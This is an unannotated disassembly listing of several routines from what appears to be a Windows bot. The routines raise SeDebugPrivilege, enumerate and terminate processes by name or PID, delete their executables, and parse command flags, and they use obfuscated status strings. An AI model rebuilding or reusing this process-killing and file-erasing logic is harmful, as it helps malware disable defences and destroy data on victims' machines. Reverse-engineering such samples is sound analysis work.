[ebp-10h] lea eax, [ebp-2B04h] push offset a6d10sS ; " %-6d- %-10s- \"%s\"" push eax call sub_429B03 add esp, 14h cmp dword ptr [ebp-28h], 0 lea eax, [ebp-2B04h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp+8] jnz short loc_41F9A8 call sub_41CE4A jmp short loc_41F9AD ; --------------------------------------------------------------------------- loc_41F9A8: ; CODE XREF: sub_41F876+129j call sub_41CDD4 loc_41F9AD: ; CODE XREF: sub_41F876+130j mov edi, [edi] add esp, 0Ch cmp edi, [ebp-18h] jnz short loc_41F953 xor ebx, ebx loc_41F9B9: ; CODE XREF: sub_41F876+DBj cmp [ebp-28h], ebx lea eax, [ebp-0DCh] push esi push offset aSEndOfList ; "%s End of list" push eax push dword ptr [ebp+8] jnz short loc_41F9D8 call sub_41CE4A loc_41F9D3: ; CODE XREF: sub_41F876+167j add esp, 10h jmp short loc_41FA2F ; --------------------------------------------------------------------------- loc_41F9D8: ; CODE XREF: sub_41F876+156j call sub_41CDD4 jmp short loc_41F9D3 ; --------------------------------------------------------------------------- loc_41F9DF: ; CODE XREF: sub_41F876+6Dj cmp [ebp-28h], ebx jnz short loc_41FA09 call dword_437170 ; RtlGetLastWin32Error push eax push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp-0DCh] push offset aSUnableToListP ; "%s Unable to list procs, %s: <%d>" push eax push edi call sub_41CE4A jmp short loc_41FA2C ; --------------------------------------------------------------------------- loc_41FA09: ; CODE XREF: sub_41F876+16Cj call dword_437170 ; RtlGetLastWin32Error push eax push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp-0DCh] push offset aSUnableToListP ; "%s Unable to list procs, %s: <%d>" push eax push edi call sub_41CDD4 loc_41FA2C: ; CODE XREF: sub_41F876+191j add esp, 18h loc_41FA2F: ; CODE XREF: sub_41F876+160j or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-1Ch] call sub_420245 jmp loc_41FC2D ; --------------------------------------------------------------------------- loc_41FA40: ; CODE XREF: sub_41F876+3Ej cmp [ebp-48h], ebx jz loc_41FC2D cmp [ebp-44h], ebx jnz loc_41FB28 lea eax, [ebp-0F0h] push eax push dword ptr [ebp-58h] call sub_41FE3F pop ecx test al, al pop ecx jz short loc_41FAAE cmp [ebp-2Ch], ebx mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" mov edi, offset aSProSKilledTot ; "%s Pro \"%s\" killed,total: <%s>" jnz short loc_41FA99 cmp [ebp-28h], ebx jnz short loc_41FAA2 lea eax, [ebp-0F0h] push eax lea eax, [ebp-0DCh] push dword ptr [ebp-58h] push esi push edi push eax push dword ptr [ebp+8] call sub_41CE4A add esp, 18h loc_41FA99: ; CODE XREF: sub_41F876+1FEj cmp [ebp-28h], ebx jz loc_41FC2D loc_41FAA2: ; CODE XREF: sub_41F876+203j lea eax, [ebp-0F0h] push eax push dword ptr [ebp-58h] jmp short loc_41FB05 ; --------------------------------------------------------------------------- loc_41FAAE: ; CODE XREF: sub_41F876+1EFj push dword ptr [ebp-58h] call sub_42A100 push eax call sub_420105 pop ecx mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" test eax, eax pop ecx jz short loc_41FB1E mov edi, offset aSPidIKilled ; "%s PID \"%i\" killed" loc_41FACC: ; CODE XREF: sub_41F876+3DDj cmp [ebp-2Ch], ebx jnz short loc_41FAF3 cmp [ebp-28h], ebx jnz short loc_41FAFC push dword ptr [ebp-58h] call sub_42A100 push eax push esi lea eax, [ebp-0DCh] push edi push eax push dword ptr [ebp+8] call sub_41CE4A add esp, 18h loc_41FAF3: ; CODE XREF: sub_41F876+259j cmp [ebp-28h], ebx jz loc_41FC2D loc_41FAFC: ; CODE XREF: sub_41F876+25Ej push dword ptr [ebp-58h] call sub_42A100 push eax loc_41FB05: ; CODE XREF: sub_41F876+236j push esi lea eax, [ebp-0DCh] push edi push eax push dword ptr [ebp+8] call sub_41CDD4 add esp, 18h jmp loc_41FC2D ; --------------------------------------------------------------------------- loc_41FB1E: ; CODE XREF: sub_41F876+24Fj mov edi, offset aSFailedToKillP ; "%s Failed to kill proc" jmp loc_41FBF6 ; --------------------------------------------------------------------------- loc_41FB28: ; CODE XREF: sub_41F876+1D6j lea eax, [ebp-1F4h] push eax push dword ptr [ebp-58h] call sub_42A100 pop ecx push eax call sub_42015A push eax lea eax, [ebp-1F4h] push offset aS_5 ; "%s" push eax call sub_429B03 lea eax, [ebp-3F4h] push eax lea eax, [ebp-2F4h] push eax push ebx lea eax, [ebp-1F4h] push ebx push eax call sub_42BF95 add esp, 28h lea eax, [ebp-3F4h] push eax lea eax, [ebp-2F4h] push eax call dword_437090 ; lstrcatA xor edi, edi mov [ebp-10h], ebx loc_41FB88: ; CODE XREF: sub_41F876+374j push dword ptr [ebp-58h] call sub_42A100 push eax call sub_420105 pop ecx test eax, eax pop ecx jz short loc_41FB9E mov edi, esi loc_41FB9E: ; CODE XREF: sub_41F876+324j lea eax, [ebp-1F4h] push 80h push eax call dword_437068 ; SetFileAttributesA lea eax, [ebp-1F4h] push eax call dword_437060 ; DeleteFileA test eax, eax jnz loc_41FC49 cmp edi, ebx jz short loc_41FBD8 lea eax, [ebp-2F4h] push ebx push eax call sub_41FE3F pop ecx pop ecx loc_41FBD8: ; CODE XREF: sub_41F876+351j push 3E8h call dword_437190 ; Sleep inc dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 5 jl short loc_41FB88 mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" mov edi, offset aSFailedToKillA ; "%s Failed to kill and erase proc" loc_41FBF6: ; CODE XREF: sub_41F876+2ADj cmp [ebp-2Ch], ebx jnz short loc_41FC14 cmp [ebp-28h], ebx jnz short loc_41FC19 push esi lea eax, [ebp-0DCh] push edi push eax push dword ptr [ebp+8] call sub_41CE4A add esp, 10h loc_41FC14: ; CODE XREF: sub_41F876+383j cmp [ebp-28h], ebx jz short loc_41FC2D loc_41FC19: ; CODE XREF: sub_41F876+388j push esi lea eax, [ebp-0DCh] push edi push eax push dword ptr [ebp+8] call sub_41CDD4 add esp, 10h loc_41FC2D: ; CODE XREF: sub_41F876+1C5j ; sub_41F876+1CDj ... push dword ptr [ebp-5Ch] call sub_423623 pop ecx pop edi mov ecx, [ebp-0Ch] pop esi xor eax, eax pop ebx mov large fs:0, ecx leave retn 4 ; --------------------------------------------------------------------------- loc_41FC49: ; CODE XREF: sub_41F876+349j mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" mov edi, offset aSPidIKilledAnd ; "%s PID \"%i\" killed and deleted" jmp loc_41FACC sub_41F876 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FC58 proc near ; CODE XREF: sub_41F876+64p var_15CC = byte ptr -15CCh var_5CC = byte ptr -5CCh var_3CC = byte ptr -3CCh var_2CC = byte ptr -2CCh var_1CC = dword ptr -1CCh var_1C8 = byte ptr -1C8h var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = byte ptr -140h var_44 = byte ptr -44h var_38 = dword ptr -38h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 15CCh call sub_429B60 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_15CC] push 1000h push eax call dword_456F30 test eax, eax jnz short loc_41FC83 xor al, al leave retn ; --------------------------------------------------------------------------- loc_41FC83: ; CODE XREF: sub_41FC58+25j mov eax, [ebp+var_8] push edi shr eax, 2 mov [ebp+var_10], eax mov eax, dword_4473F8 push 3Fh mov [ebp+var_148], eax mov eax, dword_4473FC pop ecx push 0 mov [ebp+var_144], eax pop eax lea edi, [ebp+var_140] rep stosd mov [ebp+var_4], eax jz loc_41FE3A push ebx push esi mov ebx, offset aS_5 ; "%s" loc_41FCC1: ; CODE XREF: sub_41FC58+1DAj mov eax, [ebp+var_4] lea esi, [ebp+eax*4+var_15CC] push dword ptr [esi] push 0 push 410h call dword_437114 ; OpenProcess mov edi, eax test edi, edi jz loc_41FE29 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_C] push 4 push eax push edi call dword_456EEC test eax, eax jz loc_41FE22 lea eax, [ebp+var_148] push 104h push eax push [ebp+var_C] push edi call dword_456EE4 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_2CC] push ebx push eax call sub_429B03 mov eax, [esi] add esp, 0Ch mov [ebp+var_1CC], eax lea eax, [ebp+var_44] push 28h push eax push edi call dword_456FA0 test eax, eax jz short loc_41FD69 mov eax, [ebp+var_38] push 0 shr eax, 0Ah push eax call sub_427E4F push eax push ebx lea eax, [ebp+var_1C8] push 80h push eax call sub_429BBE add esp, 18h jmp short loc_41FD8E ; --------------------------------------------------------------------------- loc_41FD69: ; CODE XREF: sub_41FC58+E9j call dword_437170 ; RtlGetLastWin32Error push eax push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push offset aSD_2 ; "%s: <%d>" lea eax, [ebp+var_1C8] push 80h push eax call sub_429BBE add esp, 14h loc_41FD8E: ; CODE XREF: sub_41FC58+10Fj xor eax, eax cmp [ebp+arg_4], eax jz short loc_41FE0B lea ecx, [ebp+var_3CC] push ecx lea ecx, [ebp+var_5CC] push ecx push eax push eax lea eax, [ebp+var_2CC] push eax call sub_42BF95 add esp, 14h lea eax, [ebp+var_3CC] push eax lea eax, [ebp+var_5CC] push eax call dword_437090 ; lstrcatA lea eax, [ebp+var_5CC] push eax push [ebp+arg_4] push offset aSS_4 ; "%s / %s\n" push offset dword_450F00 call sub_42C0DC add esp, 10h lea eax, [ebp+var_5CC] push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_41FE22 mov ecx, [ebp+arg_0] lea edx, [ebp+var_2CC] push edx mov eax, [ecx+4] push eax lea eax, [ebp+var_18] jmp short loc_41FE1C ; --------------------------------------------------------------------------- loc_41FE0B: ; CODE XREF: sub_41FC58+13Bj mov ecx, [ebp+arg_0] lea edx, [ebp+var_2CC] push edx mov eax, [ecx+4] push eax lea eax, [ebp+var_14] loc_41FE1C: ; CODE XREF: sub_41FC58+1B1j push eax call sub_420270 loc_41FE22: ; CODE XREF: sub_41FC58+9Fj ; sub_41FC58+19Ej push edi call dword_437044 ; CloseHandle loc_41FE29: ; CODE XREF: sub_41FC58+86j inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_10] jb loc_41FCC1 pop esi pop ebx loc_41FE3A: ; CODE XREF: sub_41FC58+5Cj mov al, 1 pop edi leave retn sub_41FC58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE3F proc near ; CODE XREF: sub_40A9FE+3CEp ; sub_40A9FE+837Fp ... var_1148 = dword ptr -1148h var_148 = byte ptr -148h var_44 = byte ptr -44h var_34 = dword ptr -34h var_30 = byte ptr -30h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1148h call sub_429B60 push ebx push esi push 10h lea eax, [ebp+var_8] pop esi xor ebx, ebx push eax push ebx push 28h mov [ebp+var_1], bl mov [ebp+var_1C], esi call dword_437124 ; GetCurrentThread push eax call dword_456E48 ; OpenThreadToken test eax, eax jnz short loc_41FE8B lea eax, [ebp+var_8] push eax push 28h call dword_43704C ; GetCurrentProcess push eax call dword_456F18 ; OpenProcessToken test eax, eax jnz short loc_41FE8B mov [ebp+var_8], ebx loc_41FE8B: ; CODE XREF: sub_41FE3F+30j ; sub_41FE3F+47j cmp [ebp+var_8], ebx jz short loc_41FEE2 lea eax, [ebp+var_30] mov [ebp+var_34], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push ebx mov [ebp+var_28], 2 call dword_456EDC ; LookupPrivilegeValueA lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_34] push esi push eax push ebx push [ebp+var_8] call dword_456FB4 ; AdjustTokenPrivileges test eax, eax jz short loc_41FED6 call dword_437170 ; RtlGetLastWin32Error cmp eax, 514h jnz short loc_41FEE2 loc_41FED6: ; CODE XREF: sub_41FE3F+88j push [ebp+var_8] call dword_437044 ; CloseHandle mov [ebp+var_8], ebx loc_41FEE2: ; CODE XREF: sub_41FE3F+4Fj ; sub_41FE3F+95j lea eax, [ebp+var_18] push eax lea eax, [ebp+var_1148] push 1000h push eax call dword_456F30 test eax, eax jnz short loc_41FF03 xor al, al jmp loc_420038 ; --------------------------------------------------------------------------- loc_41FF03: ; CODE XREF: sub_41FE3F+BBj mov esi, [ebp+var_18] mov [ebp+var_10], ebx shr esi, 2 mov [ebp+var_24], esi mov [ebp+var_C], ebx jz loc_41FFFD push edi loc_41FF19: ; CODE XREF: sub_41FE3F+1B7j lea eax, [ebp+var_148] push offset aUnknown ; "unknown" push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+var_C] push [ebp+eax*4+var_1148] push ebx push 411h call dword_437114 ; OpenProcess mov edi, eax cmp edi, ebx jz loc_41FFF0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push 4 push eax push edi call dword_456EEC test eax, eax jz loc_41FFE9 lea eax, [ebp+var_148] push 104h push eax push [ebp+var_20] push edi call dword_456E20 lea eax, [ebp+var_148] mov [ebp+var_14], ebx push eax call sub_4293A0 test eax, eax pop ecx jbe short loc_41FFBC mov eax, [ebp+var_C] lea esi, [ebp+eax+var_148] loc_41FF98: ; CODE XREF: sub_41FE3F+178j movsx eax, byte ptr [esi] push eax call sub_42C278 inc [ebp+var_14] mov [esi], al lea eax, [ebp+var_148] push eax call sub_4293A0 cmp [ebp+var_14], eax pop ecx pop ecx jb short loc_41FF98 mov esi, [ebp+var_24] loc_41FFBC: ; CODE XREF: sub_41FE3F+14Dj cmp [ebp+arg_0], ebx jnz short loc_41FFC6 mov [ebp+var_1], bl jmp short loc_41FFE9 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FE3F+180j push [ebp+arg_0] lea eax, [ebp+var_148] push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_41FFE9 inc [ebp+var_10] push ebx push edi call dword_437118 ; TerminateProcess mov [ebp+var_1], 1 loc_41FFE9: ; CODE XREF: sub_41FE3F+11Fj ; sub_41FE3F+185j ... push edi call dword_437044 ; CloseHandle loc_41FFF0: ; CODE XREF: sub_41FE3F+106j inc [ebp+var_C] cmp [ebp+var_C], esi jb loc_41FF19 pop edi loc_41FFFD: ; CODE XREF: sub_41FE3F+D3j cmp [ebp+arg_4], ebx jz short loc_420015 push [ebp+var_10] push offset dword_44772C push [ebp+arg_4] call sub_429B03 add esp, 0Ch loc_420015: ; CODE XREF: sub_41FE3F+1C1j cmp [ebp+var_8], ebx jz short loc_420035 push ebx push ebx lea eax, [ebp+var_44] push 10h push eax push ebx push [ebp+var_8] call dword_456FB4 ; AdjustTokenPrivileges push [ebp+var_8] call dword_437044 ; CloseHandle loc_420035: ; CODE XREF: sub_41FE3F+1D9j mov al, [ebp+var_1] loc_420038: ; CODE XREF: sub_41FE3F+BFj pop esi pop ebx leave retn sub_41FE3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42003C proc near ; CODE XREF: sub_420105+12p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_0] push edi xor edi, edi push esi push edi push 28h loc_42004E: ; DATA XREF: .text:0043BAB8o ; .text:0043BAC4o ... mov [ebp+var_8], 10h mov [ebp+var_4], edi call dword_437124 ; GetCurrentThread push eax call dword_456E48 ; OpenThreadToken test eax, eax jnz short loc_42007F push esi push 28h call dword_43704C ; GetCurrentProcess push eax call dword_456F18 ; OpenProcessToken test eax, eax jnz short loc_42007F mov [esi], edi loc_42007F: ; CODE XREF: sub_42003C+2Bj ; sub_42003C+3Fj cmp [esi], edi jz short loc_4200D6 lea eax, [ebp+var_14] xor ebx, ebx push eax inc ebx push offset aSedebugprivile ; "SeDebugPrivilege" push edi mov [ebp+var_18], ebx mov [ebp+var_C], 2 call dword_456EDC ; LookupPrivilegeValueA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push [ebp+arg_4] push 10h push eax push edi push dword ptr [esi] call dword_456FB4 ; AdjustTokenPrivileges test eax, eax jz short loc_4200CC call dword_437170 ; RtlGetLastWin32Error cmp eax, 514h jz short loc_4200CC mov [ebp+var_4], ebx jmp short loc_4200D6 ; --------------------------------------------------------------------------- loc_4200CC: ; CODE XREF: sub_42003C+7Cj ; sub_42003C+89j push dword ptr [esi] call dword_437044 ; CloseHandle mov [esi], edi loc_4200D6: ; CODE XREF: sub_42003C+45j ; sub_42003C+8Ej mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_42003C endp ; =============== S U B R O U T I N E ======================================= sub_4200DE proc near ; CODE XREF: sub_420105+47p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] xor ecx, ecx mov eax, [esi] cmp eax, ecx jz short loc_420103 push ecx push ecx push 10h push [esp+10h+arg_4] push ecx push eax call dword_456FB4 ; AdjustTokenPrivileges push dword ptr [esi] call dword_437044 ; CloseHandle loc_420103: ; CODE XREF: sub_4200DE+Bj pop esi retn sub_4200DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420105 proc near ; CODE XREF: sub_41F876+241p ; sub_41F876+31Bp ... var_14 = byte ptr -14h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_4] xor ebx, ebx push eax call sub_42003C pop ecx pop ecx push [ebp+arg_0] push ebx push 411h call dword_437114 ; OpenProcess mov esi, eax cmp esi, ebx jz short loc_420144 push ebx push esi call dword_437118 ; TerminateProcess push esi mov bl, 1 call dword_437044 ; CloseHandle loc_420144: ; CODE XREF: sub_420105+2Cj lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_4200DE pop ecx pop ecx pop esi movzx eax, bl pop ebx leave retn sub_420105 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42015A proc near ; CODE XREF: sub_41F876+2C3p var_1114 = byte ptr -1114h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1114h call sub_429B60 push ebx push esi lea eax, [ebp+var_C] push edi push eax lea eax, [ebp+var_1114] push 1000h push eax call dword_456F30 test eax, eax jz loc_420240 mov eax, dword_4473F8 mov ebx, [ebp+var_C] push 3Fh mov [ebp+var_114], eax mov eax, dword_4473FC pop ecx mov [ebp+var_110], eax push offset a??? ; "???" push [ebp+arg_4] xor eax, eax lea edi, [ebp+var_10C] rep stosd shr ebx, 2 call dword_4370B4 ; lstrcpyA xor edi, edi test ebx, ebx jbe short loc_42023D loc_4201C5: ; CODE XREF: sub_42015A+B0j lea esi, [ebp+edi*4+var_1114] push dword ptr [esi] push 0 push 410h call dword_437114 ; OpenProcess test eax, eax mov [ebp+var_4], eax jz short loc_420207 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push 4 push ecx push eax call dword_456EEC test eax, eax jz short loc_4201FE mov eax, [ebp+arg_0] cmp eax, [esi] jz short loc_42020E loc_4201FE: ; CODE XREF: sub_42015A+9Bj push [ebp+var_4] call dword_437044 ; CloseHandle loc_420207: ; CODE XREF: sub_42015A+86j inc edi cmp edi, ebx jb short loc_4201C5 jmp short loc_42023D ; --------------------------------------------------------------------------- loc_42020E: ; CODE XREF: sub_42015A+A2j lea eax, [ebp+var_114] push 104h push eax push [ebp+var_8] push [ebp+var_4] call dword_456EE4 lea eax, [ebp+var_114] push eax push offset aS_5 ; "%s" push [ebp+arg_4] call sub_429B03 add esp, 0Ch loc_42023D: ; CODE XREF: sub_42015A+69j ; sub_42015A+B2j mov eax, [ebp+arg_4] loc_420240: ; CODE XREF: sub_42015A+28j pop edi pop esi pop ebx leave retn sub_42015A endp ; =============== S U B R O U T I N E ======================================= sub_420245 proc near ; CODE XREF: sub_41F876+1C0p ; .text:0043664Fj var_4 = byte ptr -4 push ecx push esi mov esi, ecx mov eax, [esi+4] push eax mov ecx, [eax] lea eax, [esp+0Ch+var_4] push ecx push eax mov ecx, esi call sub_4202AB push dword ptr [esi+4] call sub_4290D0 and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 pop ecx pop esi pop ecx retn sub_420245 endp ; =============== S U B R O U T I N E ======================================= sub_420270 proc near ; CODE XREF: sub_41FC58+1C5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_4] push edi mov ebx, ecx push dword ptr [esi+4] push esi call sub_4202E3 mov [esi+4], eax mov ecx, [eax+4] lea edi, [eax+8] test edi, edi mov [ecx], eax jz short loc_42029A mov esi, [esp+0Ch+arg_8] push 61h pop ecx rep movsd loc_42029A: ; CODE XREF: sub_420270+1Fj mov ecx, [esp+0Ch+arg_0] inc dword ptr [ebx+8] pop edi pop esi mov [ecx], eax mov eax, ecx pop ebx retn 0Ch sub_420270 endp ; =============== S U B R O U T I N E ======================================= sub_4202AB proc near ; CODE XREF: sub_420245+12p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_4] push edi mov edi, ecx jmp short loc_4202D2 ; --------------------------------------------------------------------------- loc_4202B5: ; CODE XREF: sub_4202AB+2Bj mov eax, esi mov esi, [esi] push eax mov ecx, [eax+4] mov edx, [eax] mov [ecx], edx mov ecx, [eax] mov edx, [eax+4] mov [ecx+4], edx call sub_4290D0 dec dword ptr [edi+8] pop ecx loc_4202D2: ; CODE XREF: sub_4202AB+8j cmp esi, [esp+8+arg_8] jnz short loc_4202B5 mov eax, [esp+8+arg_0] pop edi mov [eax], esi pop esi retn 0Ch sub_4202AB endp ; =============== S U B R O U T I N E ======================================= sub_4202E3 proc near ; CODE XREF: sub_41F876+4Fp ; sub_420270+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 18Ch call sub_42B4D7 pop ecx mov ecx, [esp+arg_0] test ecx, ecx jnz short loc_4202F8 mov ecx, eax loc_4202F8: ; CODE XREF: sub_4202E3+11j mov [eax], ecx mov ecx, [esp+arg_4] test ecx, ecx jnz short loc_420304 mov ecx, eax loc_420304: ; CODE XREF: sub_4202E3+1Dj mov [eax+4], ecx retn 8 sub_4202E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42030A proc near ; CODE XREF: sub_40A935+5Dp ; sub_42045F+82p var_154 = byte ptr -154h var_10C = byte ptr -10Ch var_106 = byte ptr -106h var_105 = byte ptr -105h var_102 = byte ptr -102h var_101 = byte ptr -101h var_FD = byte ptr -0FDh var_F3 = byte ptr -0F3h var_F2 = byte ptr -0F2h var_F1 = byte ptr -0F1h var_EF = byte ptr -0EFh var_EE = byte ptr -0EEh var_EC = byte ptr -0ECh var_E6 = byte ptr -0E6h var_E5 = byte ptr -0E5h var_E2 = byte ptr -0E2h var_E1 = byte ptr -0E1h var_DE = byte ptr -0DEh var_DD = byte ptr -0DDh var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 154h push ebx push esi push edi xor ebx, ebx push 100h lea eax, [ebp+var_154] push ebx push eax call sub_429760 mov esi, [ebp+arg_8] add esp, 0Ch cmp esi, ebx jl short loc_420393 loc_420334: ; CODE XREF: sub_42030A+87j mov eax, [ebp+arg_4] lea ecx, [eax+esi*4] mov eax, [ecx] cmp eax, ebx jz short loc_420390 mov dl, [eax] cmp dl, 2Dh jnz short loc_420393 cmp [eax+2], bl jnz short loc_42035A movsx edx, byte ptr [eax+1] mov [ebp+edx+var_154], 1 jmp short loc_420382 ; --------------------------------------------------------------------------- loc_42035A: ; CODE XREF: sub_42030A+40j cmp dl, 2Dh jnz short loc_420393 cmp byte ptr [eax+2], 3Ah jnz short loc_420393 cmp [eax+4], bl jnz short loc_420393 movsx edx, byte ptr [eax+1] mov [ebp+edx+var_154], 1 cmp byte ptr [eax+1], 72h jnz short loc_420382 mov dl, [eax+3] mov [ebp+var_30], dl loc_420382: ; CODE XREF: sub_42030A+4Ej ; sub_42030A+70j mov [eax], bl mov eax, [ecx] mov [eax+1], bl mov eax, [ecx] mov [eax+2], bl mov [ecx], ebx loc_420390: ; CODE XREF: sub_42030A+34j dec esi jns short loc_420334 loc_420393: ; CODE XREF: sub_42030A+28j ; sub_42030A+3Bj ... movzx eax, [ebp+var_E1] mov [ebp+var_54], eax push 15h movzx eax, [ebp+var_E6] mov [ebp+var_50], eax lea esi, [ebp+var_54] movzx eax, [ebp+var_EC] mov [ebp+var_4C], eax movzx eax, [ebp+var_DE] movzx ecx, [ebp+var_EE] mov [ebp+var_48], eax mov [ebp+var_40], ecx movzx eax, [ebp+var_101] movzx ecx, [ebp+var_E5] movzx edx, [ebp+var_105] mov [ebp+var_44], eax mov [ebp+var_24], eax movzx eax, [ebp+var_F3] mov [ebp+var_14], eax mov [ebp+var_3C], ecx movzx eax, [ebp+var_F2] movzx ecx, [ebp+var_DD] mov [ebp+var_28], edx mov [ebp+var_10], eax movzx edx, [ebp+var_10C] movzx eax, [ebp+var_F1] mov [ebp+var_38], ecx mov [ebp+var_20], edx movzx ecx, [ebp+var_FD] movzx edx, [ebp+var_106] mov [ebp+var_C], eax mov [ebp+var_2C], ecx movzx eax, [ebp+var_EF] movzx ecx, [ebp+var_E2] mov [ebp+var_18], edx mov [ebp+var_4], eax movzx edx, [ebp+var_102] mov eax, [ebp+arg_0] mov [ebp+var_34], ecx mov [ebp+var_8], ecx pop ecx mov edi, eax mov [ebp+var_1C], edx rep movsd pop edi pop esi pop ebx leave retn sub_42030A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42045F proc near ; DATA XREF: sub_420D91+18o var_3D70 = byte ptr -3D70h var_1660 = byte ptr -1660h var_660 = byte ptr -660h var_260 = byte ptr -260h var_25C = byte ptr -25Ch var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 3D70h call sub_429B60 push ebx push esi mov esi, [ebp+arg_0] push edi inc esi cmp byte ptr [esi+1], 0 jz loc_420AB0 cmp byte ptr [esi], 2Bh jnz short loc_4204A0 push offset byte_454A54 push offset asc_44DE08 ; "+" push esi call sub_4279FA push esi push offset dword_443EB0 call sub_415641 add esp, 14h loc_4204A0: ; CODE XREF: sub_42045F+21j lea eax, [ebp+var_660] push esi push eax call dword_4370B4 ; lstrcpyA push 40h lea eax, [ebp+var_15C] push esi push eax call sub_42777F mov cl, [ebp+var_660] add esp, 0Ch cmp cl, byte_4439A0 mov [ebp+arg_0], eax jnz loc_420733 push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_5C] push eax call sub_42030A add esp, 0Ch cmp [ebp+var_15C], 0 mov esi, eax lea edi, [ebp+var_5C] push 15h pop ecx rep movsd jz loc_420AB0 mov eax, [ebp+var_15C] mov al, [eax] cmp al, byte_4439A0 jnz short loc_420575 mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] inc [ebp+var_15C] mov ecx, edi push dword ptr [ebx+8] push dword ptr [ebx+4] push dword ptr [ebx] call sub_41C755 test eax, eax mov ecx, edi jz short loc_42057C call sub_41DB58 push eax push dword ptr [ebx+0Ch] call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_420549 mov eax, [ebx] mov [ebx+0Ch], eax loc_420549: ; CODE XREF: sub_42045F+E3j push 0 lea eax, [ebp+var_660] sub esp, 54h lea esi, [ebp+var_5C] push 15h pop ecx mov edi, esp push [ebp+arg_8] rep movsd push ebx push eax push [ebp+arg_0] lea eax, [ebp+var_15C] push eax call sub_40A9FE add esp, 6Ch loc_420575: ; CODE XREF: sub_42045F+AFj ; sub_42045F+18Bj ... xor eax, eax loc_420577: ; CODE XREF: sub_42045F+654j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- 